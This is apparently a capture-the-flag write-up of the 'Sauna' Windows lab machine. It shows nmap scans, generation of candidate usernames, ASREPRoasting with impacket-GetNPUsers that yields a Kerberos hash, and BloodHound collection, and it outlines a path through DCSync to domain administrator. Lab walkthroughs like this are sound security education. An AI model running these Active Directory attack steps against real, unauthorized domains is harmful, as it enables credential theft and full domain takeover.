Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn’t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket’s psexec.py in order to gain a shell on the box as NT_AUTHORITY\SYSTEM.
└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.95.180 | grep '^[0-9]'| cut -d '/' -f 1| tr '\n'','| sed s/,$//)└─$ nmap -p$ports -sC -sV 10.129.95.180
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 16:18 CET
Nmap scan report for 10.129.95.180
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-17 22:18:49Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-01-17T22:19:41
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.51 seconds
We will add the domain(EGOTISTICAL-BANK.LOCAL) and the hostname(SAUNA.EGOTISTICAL-BANK.LOCAL) in the /etc/hosts file.
Continuing our web enumeration we don’t find much but one page gives us supposedly the names of the internal team.
These could be internal AD users if we are lucky. Let’s enumerate them with impacket-GetNPUsers but first we are going to create the possible usernames with username-anarchy! We give the user names found as first and last name per line and it will create all possible usernames from these.
└─$ impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -usersfile users2.txt -dc-ip 10.129.95.180
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:87be45447465b32e0e7e0405b6b5472f$27a37c8b644372a4695d88ac2061dfbc4309ffb28f7b9b331233e5949fb0aae8ce7807572e503e348be98a78e3b94c7c6bdf4ac8d9720af816149de8e50ec0cd4a7da0904962909d5f09baf425bd7f614805d694cedad43cc52d9e39ed4df72a447fc708ff87f7b66bb2b4aeddb63d5e1788b2058391a0b98751fa896cded0695f42a5f0a606b333cdd0776eaff60f909cd4dc02ad1207f7e9b5c16dbf6b04874c01b3bb4a0e147ac764d28d9d2fee2f0f129775219492cb219598ba2d81f9b4d3258bb32ec0faa6ace30d3358cbd5b1cc0605dacf586ab5d09afc9e3898c44fe6f088995cb4226090cc6b7073313e0a498073555ca6e7db8babdbf2f035b3ca
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Bingo! We get the AS-REP hash for user fsmith as the only one that exists in the AD.
└─$ bloodhound-python -d egotistical-bank.local -u fsmith -p '<PASSWORD>' -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)INFO: Found AD domain: egotistical-bank.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
WARNING: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
WARNING: Failed to get service ticket for SAUNA.EGOTISTICAL-BANK.LOCAL, falling back to NTLM auth
CRITICAL: CCache file is not found. Skipping...
WARNING: DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)INFO: Done in 00M 13S
Looking at the user we see another account named hsmith. We see it is kerberoasrtable so we get its credentials.
This led us though to no attack path for privileges escalation. Looking at Bloodhound output we see also another service account that has some interesting outbound object controls!
These two ACLs can be used to perform a DCSync attack! This makes this account a target for us privilege escalation.
As a next step let’s continue with winPeas and see if we get anything.
